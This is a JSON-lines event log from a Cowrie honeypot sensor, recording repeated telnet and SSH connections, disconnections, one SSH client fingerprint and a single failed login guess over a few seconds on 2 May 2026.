{"eventid":"cowrie.session.closed","duration":36.293111085891724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:08.856012Z","src_ip":"162.55.233.176","session":"7bda179c2d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:09.319741Z","src_ip":"38.137.11.14","session":"94f7bb6728f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51040,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb69ec46dac","protocol":"telnet","message":"New connection: 162.55.233.176:51040 (159.203.135.109:23) [session: ebb69ec46dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:09.765062Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0468e5cedcb0","protocol":"telnet","message":"New connection: 162.55.233.176:51056 (159.203.135.109:23) [session: 0468e5cedcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:09.891919Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30ba240aa15","protocol":"telnet","message":"New connection: 162.55.233.176:51078 (159.203.135.109:23) [session: d30ba240aa15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:10.124951Z"}
{"eventid":"cowrie.session.closed","duration":31.52024817466736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:10.871536Z","src_ip":"162.55.233.176","session":"fa0625c19311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51080,"dst_ip":"159.203.135.109","dst_port":23,"session":"11dfbcf7a22a","protocol":"telnet","message":"New connection: 162.55.233.176:51080 (159.203.135.109:23) [session: 11dfbcf7a22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:10.958809Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51072,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1613a7b88f","protocol":"telnet","message":"New connection: 162.55.233.176:51072 (159.203.135.109:23) [session: 3c1613a7b88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:10.993157Z"}
{"eventid":"cowrie.session.closed","duration":31.2499577999115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:11.005937Z","src_ip":"162.55.233.176","session":"c9f230d6079e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51094,"dst_ip":"159.203.135.109","dst_port":23,"session":"890556363b95","protocol":"telnet","message":"New connection: 162.55.233.176:51094 (159.203.135.109:23) [session: 890556363b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:11.218269Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"553ef17b2c20","protocol":"telnet","message":"New connection: 162.55.233.176:51096 (159.203.135.109:23) [session: 553ef17b2c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:11.357708Z"}
{"eventid":"cowrie.session.closed","duration":30.750784397125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:11.421333Z","src_ip":"162.55.233.176","session":"610340cb6978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56767129898071,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:12.005361Z","src_ip":"162.55.233.176","session":"465ad7c29292","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57262659072876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:12.376659Z","src_ip":"162.55.233.176","session":"e0ef6c972137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843013525009155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:12.438825Z","src_ip":"162.55.233.176","session":"adc8a14a880a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183908224105835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:12.505471Z","src_ip":"162.55.233.176","session":"d56a63c8bc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51106,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5d522c7e51","protocol":"telnet","message":"New connection: 162.55.233.176:51106 (159.203.135.109:23) [session: ac5d522c7e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:12.517576Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4384a395479a","protocol":"telnet","message":"New connection: 162.55.233.176:58750 (159.203.135.109:23) [session: 4384a395479a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:13.283225Z"}
{"eventid":"cowrie.session.closed","duration":35.740729331970215,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:13.320597Z","src_ip":"162.55.233.176","session":"a6b6944a3505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3652d791680","protocol":"telnet","message":"New connection: 162.55.233.176:58762 (159.203.135.109:23) [session: c3652d791680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:13.415442Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34700,"dst_ip":"10.17.0.5","dst_port":23,"session":"16113f3012fb","protocol":"telnet","message":"New connection: 206.189.32.23:34700 (10.17.0.5:23) [session: 16113f3012fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:13.502634Z"}
{"eventid":"cowrie.session.closed","duration":0.466691255569458,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:13.749797Z","src_ip":"162.55.233.176","session":"4384a395479a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1e1fd8f252","protocol":"telnet","message":"New connection: 162.55.233.176:58766 (159.203.135.109:23) [session: ad1e1fd8f252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:14.113297Z"}
{"eventid":"cowrie.session.closed","duration":34.56371259689331,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:14.403848Z","src_ip":"162.55.233.176","session":"d2f15f9822c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433847427368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:14.463917Z","src_ip":"162.55.233.176","session":"43f6d0dd9218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d9b0a4bc9fd","protocol":"telnet","message":"New connection: 162.55.233.176:58770 (159.203.135.109:23) [session: 1d9b0a4bc9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:15.124990Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36266,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9bef45eb0b","protocol":"telnet","message":"New connection: 206.189.32.23:36266 (10.17.0.5:23) [session: 3b9bef45eb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:15.370213Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58778,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc29fb0256b","protocol":"telnet","message":"New connection: 162.55.233.176:58778 (159.203.135.109:23) [session: 5cc29fb0256b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:15.646077Z"}
{"eventid":"cowrie.session.closed","duration":36.24249768257141,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:15.717507Z","src_ip":"162.55.233.176","session":"f50ad1f5ed03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58285617828369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:16.173054Z","src_ip":"162.55.233.176","session":"a755feb2440a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58786,"dst_ip":"159.203.135.109","dst_port":23,"session":"731bc06a14e9","protocol":"telnet","message":"New connection: 162.55.233.176:58786 (159.203.135.109:23) [session: 731bc06a14e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:16.220327Z"}
{"eventid":"cowrie.session.closed","duration":45.135130882263184,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:16.389324Z","src_ip":"188.208.141.113","session":"ae58421fa352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58800,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb57ec2a4a1c","protocol":"telnet","message":"New connection: 162.55.233.176:58800 (159.203.135.109:23) [session: cb57ec2a4a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:17.114989Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"34adbb512023","protocol":"telnet","message":"New connection: 162.55.233.176:58816 (159.203.135.109:23) [session: 34adbb512023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:17.276598Z"}
{"eventid":"cowrie.session.closed","duration":30.990248203277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:17.611902Z","src_ip":"162.55.233.176","session":"0c2a700af04b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68ad04a6794","protocol":"telnet","message":"New connection: 162.55.233.176:58830 (159.203.135.109:23) [session: a68ad04a6794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:17.772596Z"}
{"eventid":"cowrie.session.closed","duration":34.52049374580383,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:18.107922Z","src_ip":"162.55.233.176","session":"c2e6432d1f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55090,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b66f86315ea","protocol":"telnet","message":"New connection: 188.208.141.113:55090 (10.17.0.5:23) [session: 5b66f86315ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:18.650243Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"0587207f94f5","protocol":"telnet","message":"New connection: 162.55.233.176:58846 (159.203.135.109:23) [session: 0587207f94f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:19.358206Z"}
{"eventid":"cowrie.session.closed","duration":33.7567503452301,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:20.394917Z","src_ip":"162.55.233.176","session":"543b0a0c7024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58848,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f651f7fbee","protocol":"telnet","message":"New connection: 162.55.233.176:58848 (159.203.135.109:23) [session: 94f651f7fbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:20.680989Z"}
{"eventid":"cowrie.session.closed","duration":34.53168225288391,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:20.713177Z","src_ip":"162.55.233.176","session":"516d7610b493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.362205266952515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:20.946669Z","src_ip":"162.55.233.176","session":"07d362648dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41970,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d12ecc9ce0","protocol":"telnet","message":"New connection: 206.189.32.23:41970 (10.17.0.5:23) [session: 59d12ecc9ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:22.094121Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58864,"dst_ip":"159.203.135.109","dst_port":23,"session":"321ba96e6384","protocol":"telnet","message":"New connection: 162.55.233.176:58864 (159.203.135.109:23) [session: 321ba96e6384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:22.402225Z"}
{"eventid":"cowrie.session.closed","duration":51.188432693481445,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:22.503112Z","src_ip":"206.189.32.23","session":"7f534310ab7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3b8f34fcdc7","protocol":"telnet","message":"New connection: 162.55.233.176:51334 (159.203.135.109:23) [session: c3b8f34fcdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:22.954635Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58862,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3ca2647715a","protocol":"telnet","message":"New connection: 162.55.233.176:58862 (159.203.135.109:23) [session: a3ca2647715a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:23.210916Z"}
{"eventid":"cowrie.session.closed","duration":34.05181360244751,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:23.417678Z","src_ip":"162.55.233.176","session":"12920a2bf5af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51336,"dst_ip":"159.203.135.109","dst_port":23,"session":"0932fc33de39","protocol":"telnet","message":"New connection: 162.55.233.176:51336 (159.203.135.109:23) [session: 0932fc33de39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:23.436924Z"}
{"eventid":"cowrie.session.closed","duration":35.62227773666382,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.036994Z","src_ip":"162.55.233.176","session":"49d327894735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.191630363464355,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.257167Z","src_ip":"162.55.233.176","session":"350f580c6ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f48c1f2869","protocol":"telnet","message":"New connection: 188.208.141.113:41682 (10.17.0.5:23) [session: f5f48c1f2869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.367370Z"}
{"eventid":"cowrie.session.closed","duration":37.61568737030029,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.570110Z","src_ip":"162.55.233.176","session":"21b41ef56fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02824330329895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.686094Z","src_ip":"162.55.233.176","session":"a4314f5a3063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06242370605469,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:24.734524Z","src_ip":"162.55.233.176","session":"cd254dfbcfab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.18511724472046,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:25.345217Z","src_ip":"206.189.32.23","session":"3c522d443675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.586971759796143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:25.401480Z","src_ip":"162.55.233.176","session":"d45dbc664d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.59618544578552,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:25.443624Z","src_ip":"188.208.141.113","session":"eea28f30952a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16410851478577,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:25.801440Z","src_ip":"162.55.233.176","session":"9c4b58f66880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371166706085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:25.948902Z","src_ip":"162.55.233.176","session":"b3418fb58bae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bea4fcecdd","protocol":"telnet","message":"New connection: 162.55.233.176:51338 (159.203.135.109:23) [session: f0bea4fcecdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:26.133933Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51350,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54c04276ca1","protocol":"telnet","message":"New connection: 162.55.233.176:51350 (159.203.135.109:23) [session: b54c04276ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:26.139540Z"}
{"eventid":"cowrie.session.closed","duration":37.87195181846619,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:26.843790Z","src_ip":"162.55.233.176","session":"7f1835e457bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51352,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f5bd4a6b32","protocol":"telnet","message":"New connection: 162.55.233.176:51352 (159.203.135.109:23) [session: d5f5bd4a6b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:28.419430Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49488,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a961f8e9c5f","protocol":"ssh","message":"New connection: 2.57.122.238:49488 (10.17.0.5:22) [session: 8a961f8e9c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.066705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.071504Z","src_ip":"2.57.122.238","session":"8a961f8e9c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.177008Z","src_ip":"2.57.122.238","session":"8a961f8e9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.100597620010376,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.297120Z","src_ip":"162.55.233.176","session":"ac68f95402cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.252888202667236,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.478326Z","src_ip":"162.55.233.176","session":"4bcffeb9b804","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:29.492692Z","src_ip":"2.57.122.238","session":"8a961f8e9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51354,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba55a58478b","protocol":"telnet","message":"New connection: 162.55.233.176:51354 (159.203.135.109:23) [session: aba55a58478b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:30.104024Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51364,"dst_ip":"159.203.135.109","dst_port":23,"session":"90771e6ad7c3","protocol":"telnet","message":"New connection: 162.55.233.176:51364 (159.203.135.109:23) [session: 90771e6ad7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:30.448607Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51380,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf56911dd424","protocol":"telnet","message":"New connection: 162.55.233.176:51380 (159.203.135.109:23) [session: bf56911dd424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:30.590789Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:30.601033Z","src_ip":"2.57.122.238","session":"8a961f8e9c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.162898540496826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:30.891050Z","src_ip":"162.55.233.176","session":"26d361e040a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.312565326690674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:31.369322Z","src_ip":"162.55.233.176","session":"de45a6958a41","protocol":"telnet"}
